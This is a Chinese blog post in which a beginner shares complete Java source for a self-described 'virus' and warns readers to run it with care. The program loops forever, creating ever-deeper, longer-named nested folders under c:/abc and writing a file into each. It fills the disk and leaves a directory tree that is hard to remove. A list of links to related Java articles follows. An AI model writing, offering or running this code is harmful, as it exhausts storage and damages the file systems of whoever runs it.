Java---字节输入,文件操作,病毒制造,请谨慎运行!

简介: Java---字节输入,文件操作,病毒制造,请谨慎运行!

今天刚刚学了Java文件操作,跟着老师的思路,迫不及待的制造了这个小病毒。

用到的是一些小知识,很简单。

创建文件和文件夹,向文件中写入字节。

我已渐渐的爱上了编程!!!

下面附上完整代码:

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
/**
 * @author hncu_chx
 *
 * Mylove amin
 */
public class FileCreateDemo {
    private static String str1,str2;
    private static long  i=0;
    private static boolean go = true;
    public static void main(String[] args) throws IOException {
        str1 = "c:/abc/aaa";
        str2 = str1+"a.txt";
        do{
            File file1 = new File(str1);
            File file2 = new File(str2);
            file1.mkdirs();//创建新文件夹
            file2.createNewFile();//创建新文件
            FileOutputStream file = new FileOutputStream(str2);
            for(int j=0;j<1000;j++)
            file.write(48);//向文件中写入码值为48的这个值(也就是写入0)
            str1 = str1+"/";
            for(long k=0;k<i;k++){
              str1 = str1 +"a";
            }
            str1 = str1+i;
            str2 = str1+"a.txt";
            i++;
        }while(go);
    }
}
目录
相关文章
|
28天前
|
安全 Java 开发者
掌握Java文件操作,让你的代码“飞”起来!读写、复制、删除全攻略!
【6月更文挑战第27天】Java文件操作涵盖读写、复制、删除。使用NIO的`Files`类提升效率:读取文件用`newBufferedReader`实现逐行读,写入文件用`newBufferedWriter`,复制文件用`copy`方法,删除文件用`deleteIfExists`,确保安全。这些最佳实践优化了内存使用,简化了代码。
|
2天前
|
Java 程序员 C++
大牛程序员用Java手写JVM:刚好够运行 HelloWorld
大牛程序员用Java手写JVM:刚好够运行 HelloWorld
|
16天前
|
监控 Java Maven
使用AspectJ实现Java代码的运行时织入
使用AspectJ实现Java代码的运行时织入
|
20天前
|
Java 编译器 API
Java中的动态编译与运行
Java中的动态编译与运行
|
22天前
|
Java 编译器 API
Java中的动态编译与运行
Java中的动态编译与运行
|
24天前
|
安全 Java
JAVA反射:如何在运行时“创造”你的对象?
【7月更文挑战第1天】Java反射机制允许在运行时动态创建对象,常用于插件系统和框架开发。与`new`关键字相比,反射提供更大的灵活性,能根据条件决定对象类型,但牺牲了性能和代码可读性。示例展示了如何通过`Class.forName()`和`Constructor.newInstance()`创建对象,过程中需处理异常。反射还可访问私有成员,增加安全风险,故使用时需谨慎。
16 2
|
3天前
|
Java Unix Linux
Java跨平台运行的底层原理是什么
Java跨平台运行的底层原理是什么?
|
4天前
|
Java Docker 容器
Java的运行期内存占用为什么居高不下
Java的运行期内存占用为什么居高不下?
|
28天前
|
监控 Java API
Java文件操作大揭秘:不只是读写,还有这些逆天技巧!
【6月更文挑战第27天】Java文件操作不仅包括基础的读写,还有NIO的文件过滤、锁定、映射以及压缩解压和文件变化监控。例如,使用Files.walk结合PathMatcher查找特定类型的文件,利用FileChannel进行文件锁定和内存映射以提升效率,借助ZipOutputStream压缩文件,以及用WatchService监听文件系统变化。这些高级技巧能提升开发效率。
|
28天前
|
Java API
惊呆了!Java文件操作竟能如此简单:一分钟学会读写、复制、删除!
【6月更文挑战第27天】Java编程中的文件操作简单易行。使用`java.io`包中的`FileInputStream`和`FileOutputStream`进行读写,例如写文件将字符串转为字节写入,读文件则循环读取字节。文件复制涉及两个流,从源文件读取后写入目标文件。删除文件只需调用`File`对象的`delete`方法。这些基本操作让Java文件处理变得直观且易于掌握。